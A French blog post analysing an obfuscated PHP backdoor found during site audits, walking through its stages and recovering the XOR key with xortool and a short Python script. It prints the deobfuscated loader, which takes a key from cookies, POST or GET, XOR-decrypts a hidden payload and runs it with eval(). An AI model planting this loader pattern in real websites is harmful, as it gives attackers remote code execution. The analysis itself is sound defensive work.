Analyse d'une backdoor php

Je rencontre souvent lors d'audits, des backdoors plus ou moins bien offusquées. Il s'agit généralement de successions de base64_decode(), gzinflate(), ... Celle ci est un peu différente, elle utilise des permutations sur les bits, intègre du chiffrement, et pour une fois ce n'est pas du rot13.


Stage 1, le fichier original

Analyse stage 1

Là ça pique un peu, mais il suffit simplement de remplacer la fonction eval($d); par le code ci dessous pour récupérer le stage 2.

$f=fopen("res", "a+"); fwrite($f, $d); fclose($f); exit();


Stage 2

Analyse stage 2

Quelques retours à la ligne, et me voila avec un code lisible.

<?php

for ($o=0, $e='le payload ...', $d=''; @ord($e[$o]); $o++) {
  if ($o<16) { $h[$e[$o]]=$o; }
  else { $d.=@chr(($h[$e[$o]]<<4)+($h[$e[++$o]]));
}

// Je rajoute ici mon code pour récupérer le stage 3.
$f=fopen("res", "a+");
fwrite($f, $d);
fclose($f);
exit();
// Fin.

if (!@isset($_SERVER)) {
  $_COOKIE=&$HTTP_COOKIE_VARS;
  $_POST=&$HTTP_POST_VARS;
  $_GET=&$HTTP_GET_VARS;
}

$k=$_COOKIE['key'];
if (empty($k)) { $k=$_POST['key']; }
if (empty($k)) { $k=$_GET['key']; }
if (!@function_exists('decrypt')) {
  eval('
    function decrypt($e,$k) {
      if (!$k) { return; }
      $el=@strlen($e);
      $kl=@strlen($k);
      $rl=$el%$kl;
      $fl=$el-$rl;
      for ($o=0; $o<$fl; $o+=$kl) {
        $p=@substr($e,$o,$kl);
        $d.="$k"^"$p";
      }
      if ($rl) {
        $p=@substr($e,$fl,$rl);
        $k=@substr($k,0,$rl);
        $d.="$k"^"$p";
      }
      return($d);
    }
  ');
}
$d=@decrypt($d,$k);
eval($d);

?>

Pour faire simple, il récupère une clé passée en argument, et déchiffre avec la fonction xor le payload.

Il me faut maintenant trouver cette clé.


Stage 3

Qui dit xor, dit xortool, un superbe outil d'analyse qui permet souvent de retrouver la clé utilisée dans un chiffrement avec la fonction xor.

xortool stage3
The most probable key lengths:
   2:   9.6%
   4:   13.1%
   6:   12.7%
   8:   11.0%
  12:   15.8%
  16:   7.9%
  18:   7.7%
  20:   6.7%
  24:   9.3%
  36:   6.3%
Key-length can be 4*n
Most possible char is needed to guess the key!

Je commence par essayer avec une clé de 12 caractères et choisi "e" comme caractère probable.

xortool stage3 -l 12 -c e
1 possible key(s) of length 12:
SjJVkE\x0crkYYj
Found 1 plaintexts with 95.0%+ printable characters
See files filename-key.csv, filename-char_used-perc_printable.csv

Bien, plus de 95% de caractères imprimables, mais pas encore très lisible.

Analyse stage 3


Stage 4

Il y a suffisament de caractères pour trouver le contenu de la première ligne, un simple xor de cette ligne sur son chiffré va me donner la clé.

xxd -i stage3 | head -2
unsigned char stage3[] = {
  0x59, 0x45, 0x65, 0x37, 0x0f, 0x2f, 0x43, 0x01, 0x1f, 0x72, 0x2a, 0x13,

Un bout de code plus loin,

c = [0x59, 0x45, 0x65, 0x37, 0x0f, 0x2f, 0x43, 0x01, 0x1f, 0x72, 0x2a, 0x13]
d="\x0a//adjust sy"
k=""

for i in xrange(0, len(d)):
  k+=chr(c[i]^ord(d[i]))
print k

je récupère la clé et le code source de la backdoor.

python xor.py 
SjJVkE6rkRYj

xortool-xor -f stage3 -s 'SjJVkE6rkRYj' > stage4.php

Analyse stage 4

Moralité, la clé utilisée pour chiffrer avec la fonction xor doit toujours être de la même longueur que le message à chiffrer :)


0 commentaire(s) pour Analyse d'une backdoor php


Laisser un commentaire